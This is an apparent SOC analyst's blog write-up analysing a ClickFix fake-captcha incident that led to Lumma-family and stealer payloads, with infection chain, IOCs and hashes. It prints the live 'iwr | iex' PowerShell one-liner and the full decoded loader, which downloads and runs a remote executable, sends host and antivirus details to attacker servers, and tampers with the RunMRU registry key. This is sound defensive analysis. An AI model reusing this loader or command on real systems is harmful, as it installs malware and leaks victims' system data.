====================
== Alert Overload ==
====================
Tales from a SOC analyst

ClickFix

ClickFix - Smartlifeshift

This writeup was originally produced for internal enterprise documentation and has been stripped of some details.

ClickFix attacks are a sophisticated form of social engineering, leveraging the appearance of authenticity to manipulate users into executing malicious scripts. Office of Information Security.

Incident Overview

ClickFix has been a persistent threat since its emergence in 2024. The SOC has seen and resolved alerts stemming from ClickFix on a weekly basis, with incidents heavily ramping up in 2025. Recently, there has been a troubling trend of added complexity to ClickFix events. This incident in particular utilizes stealth and persistence measures to deploy a Lumma payload after tricking users into executing a PowerShell command that serves as a loader for a separate malware dropper. This incident also demonstrates some obfuscation and session control measures. The loader uses a special User-Agent string to download the payload from the threat actor controlled infrastructure. Any attempt to connect to the server without proper headers fails. Despite these improvements, EDR was able to detect and prevent the initial download from completing.

Initial Events

The initial events detected by EDR were command and scripting interpreter detections on powershell.exe. Typically, ClickFix incidents trigger this detection when the run command attempts to invoke PowerShell.

alt text

As with most ClickFix infections, the user had visited a compromised WordPress site that used a redirect service to serve a malicious ‘Fake Captcha’ site. The original domain the user intended to visit (mingei-project.eu) was compromised and included embeded code that led to the threat actor controlled infrastructure (security.clodufshield.com). This redirect was facilitated through another domain, goclouder.com.


Compromised site              Redirect                    ClickFix 
mingei-project.eu --------> goclouder.com -------> security.clodufshield.com

alt text

The ClickFix page automatically copies a string containing a PowerShell invocation to the user’s clipboard. It then asks the user to verify they are human by pressing Win+R and submitting the malicious code.

PowerShell Execution

powershell -w 1 iwr https://daoeidk.info|iex                        # Verification Code 665216  

This is a simplistic initial attack vector that uses little to no obfuscation. Typically, ClickFix infections use attack vectors like this to keep the initial access process simple.

Command break down:


# Create a hidden PowerShell window
powershell -w 1

# Use Invoke-Webrequest to get data from the domain
iwr hxxps[://]daoeidk.info

# Pipe the downloaded data to Invoke-Expression and run it
| iex

# This is a comment that exists to make the command appear more legitimate to the end user
#Verification Code 665216

When executed via Win+R, this command string downloads an encoded PowerShell script and attempts to execute it on the victim device.

Decoded Script
<# Begin decoded script #>
$httpClient = [System.Net.WebClient]::new() # .Net object for interacting with web protocols
$httpClient.Headers.Add("User-Agent", "loader") # The special User-Agent string needed to access the loader
# This url is inaccessible without proper headers
$downloadUrl = "https://smartlifeshift.com/share/d8b1ada29c970ccb93d7b18440237ffa5fea3da99abb3f93c3d451cd23432769.exe"
$uploadUrl = "https://security.clodufshield.com/0B94e3C4b5A6f7E8d9C0b1A2f3EA54bf"
# Function to randomly name the downloaded executable
function Get-RandomString {
    param (
        [int]$length = 8
    )
    -join (Get-Random -Count $length -InputObject ([char[]]"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"))
}
$randomFileName = (Get-RandomString) + ".exe" # Set the random executable name
$archivePath = Join-Path -Path $env:TEMP -ChildPath $randomFileName # Place the executable in the user's temp folder
$extractionDir = Join-Path -Path $env:TEMP -ChildPath ([guid]::NewGuid().ToString()) # Extraction location
$processId = [guid]::NewGuid().ToString() # Generates a process ID to pass to the loader
$logFilePath = Join-Path -Path $env:TEMP -ChildPath ([guid]::NewGuid().ToString() + ".log") # Helpful log files!
# Attempt to download the loader. If this fails, hit the first catch condition
try {
    $httpClient.DownloadFile($downloadUrl, $archivePath) # Download loader
    $executablePath = $archivePath 
    Rename-Item -Path $archivePath -NewName $executablePath # rename download to random name 
    $activeProcesses = Get-Process | Where-Object { 
        $_.Path -eq $executablePath -and $_.CommandLine -match $processId # Use the generated process ID to check if the process is active
    }
    if (-not $activeProcesses) {
        # Attempt to start the loader if it is not running
        try {
            $rages = @(
            'St', 
            'ar', 
            't-', 
            'Pr', 
            'ocess', 
            ' -File', 
            'Path', 
            ' $execu', 
            'tablePath'
            ); 
            $script = $rages -join ''; 
            Invoke-Expression $script
            Add-Content -Path $logFilePath -Value "$(Get-Date): Process ran successfully."
            $logData = Get-Content -Path $logFilePath -Raw
            
            $payload = @{
                logData = $logData
            }
            
            $jsonPayload = $payload | ConvertTo-Json -Depth 4 # Read log data and convert it to JSON 
            $httpClient.Headers.Add("Content-Type", "application/json") 
            $httpClient.UploadString($uploadUrl, "POST", $jsonPayload) # Send log data to the server
        } catch { 
            # If the loader cannot be started, send diagnostic data to server
            function Get-SystemInfo {
                $osInfo = Get-CimInstance -ClassName Win32_OperatingSystem
                $cpuInfo = Get-CimInstance -ClassName Win32_Processor
                $systemInfo = Get-CimInstance -ClassName Win32_ComputerSystem
                # Data gathered
                return [ordered]@{
                    HostName = $env:COMPUTERNAME
                    CurrentUser = $env:USERNAME
                    OSVersion = $osInfo.Version
                    OSName = $osInfo.Caption
                    CPUModel = $cpuInfo.Name
                    TotalMemoryMB = [math]::Round($systemInfo.TotalPhysicalMemory / 1MB)
                    PowerShellVersion = $PSVersionTable.PSVersion.ToString()
                    Architecture = $osInfo.OSArchitecture
                }
            }
            # If the payload fails to run, it will retrieve system info and any installed anti virus and send the data back to the server
            function Get-AVStatus {
                $securityInfo = [ordered]@{ AVProducts = @() }
                try {
                    $avProducts = Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct -ErrorAction SilentlyContinue
                    if ($avProducts) {
                        $securityInfo.AVProducts = $avProducts | ForEach-Object {
                            [ordered]@{
                                Name = $_.displayName
                                State = $_.productState
                                IsActive = ($_.productState -band 0x1000) -eq 0x1000
                                IsUpdated = ($_.productState -band 0x10) -eq 0
                            }
                        }
                    }
                } catch {
                    Write-Output "Failed to retrieve security details"
                }
                return $securityInfo
            }
            $errorPayload = @{
                logData = "Failed to start process: $($_.Exception)"
                systemInfo = Get-SystemInfo
                securityInfo = Get-AVStatus
                status = "error"
            }
            $jsonErrorPayload = $errorPayload | ConvertTo-Json -Depth 4
            $httpClient.Headers.Add("Content-Type", "application/json")
            $httpClient.UploadString($uploadUrl, "POST", $jsonErrorPayload) # Send to server
        }
    }
} catch {
    # Do not run if the loader failed
}
$runMruPath = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' # This is the recently run hive
$newValue = 'cmd' 
$enableLogging = $true
# Try to replace the last run item in RunMRU with 'cmd' to obfuscate loader execution
try {
    $parameters = Get-ItemProperty -Path $runMruPath -ErrorAction SilentlyContinue
    if ($parameters) {
        $propertyNames = $parameters.PSObject.Properties | Where-Object { $_.Name -ne 'MRUList' -and $_.Name.Length -le 2 } | Select-Object -ExpandProperty Name
        $lastParameterName = $propertyNames | Sort-Object | Select-Object -Last 1
        if ($lastParameterName -and $parameters.PSObject.Properties[$lastParameterName]) { 
            Set-ItemProperty -Path $runMruPath -Name $lastParameterName -Value $newValue -ErrorAction SilentlyContinue 
        }
    }
} catch {
}
# Clear the clipboard to remove the initial copied commands
function Clear-Clipboard {
    Add-Type -AssemblyName System.Windows.Forms
    [System.Windows.Forms.Clipboard]::Clear()
}

The encoded PowerShell script attempts to download and run the loader, and in case of failure, sends diagnostic data back to server.

Once the loader functions have run, the script then performs cleanup actions by removing items from the RunMRU registry hive that contains recently run items. It also clears the clipboard to hide the initial copied command.

Payload #1

alt text

This payload is the initial trojan installer and appears to belong to the Lumma family.

alt text

It drops a file named a2015df1dr.exe into the C:\Users\%USER%\AppData\Roaming\Microsoft\Protect directory.

alt text

alt text

It also utilizes WinHttp objects to communicate with a Command and Control (C2) server.

alt text

Finally, it sets the UserinitMprLogonScript key in the HKCU:\\Environment hive to a generated powershell script. It then starts the downloaded payload.

Payload #2

alt text

alt text

This file, a2015df1dr.exe, is a WiX burn installer. It contains a series of DLLs, CAB files, and executables that are installed via the WiX burn engine. This is what loads and installs the final payload.

alt text

The installer reachse out to quityt.digital to potentially retrieve remote files for isntallation via HttpSendRequestW.

Payload #3

The dropped file from Payload #2 may be related to a black basta luca stealer 8502cabd12fa8c56c5ab62bdbb714592d0e4452efa025cf558de0a9e7605ad43.

Unfortunately, SOC analysis stopped at this point.

Exectuable Graph

PowerShell Encoded Loader (https://tria.ge/250407-wk75yszjy3/behavioral1)
    |
    |------> Downloads Payload #1 and performs cleanup tasks
Payload #1 (391c964bd8df38ac4f024fff99528182f17fbd8e30fca43272f6812c34fa53b7)
    |------> C2 communications
    |------> Reg edits
Payload #2 (146affbf12b8998f04fa2daf5e5e7bcc6b535e2097cbd541c690b3eca7d8e03b)
    |
    |------> WiX installer via burn engine
Payload #3 (8502cabd12fa8c56c5ab62bdbb714592d0e4452efa025cf558de0a9e7605ad43)
    |
    +------> black bast luca stealer (https://tria.ge/250408-j2rhba1ybs)

Indicators

IOC Type Comments
mingei-project.eu Domain Compromised WordPress Site
goclouder.com Domain Redirect
security.clodufshield.com Domain ClickFix Domain
daoeidk.info Domain Malicious Script Host
smartlifeshift.com Domain C2 and Payload Loader
391c964bd8df38ac4f024fff99528182f17fbd8e30fca43272f6812c34fa53b7 Hash Payload #1 - C2 and Dropper
146affbf12b8998f04fa2daf5e5e7bcc6b535e2097cbd541c690b3eca7d8e03b Hash Payload #2 - WiX Installer
8502cabd12fa8c56c5ab62bdbb714592d0e4452efa025cf558de0a9e7605ad43 Hash Payload #3 - Black Basta Luca Stealer

Additional Incidents

alt text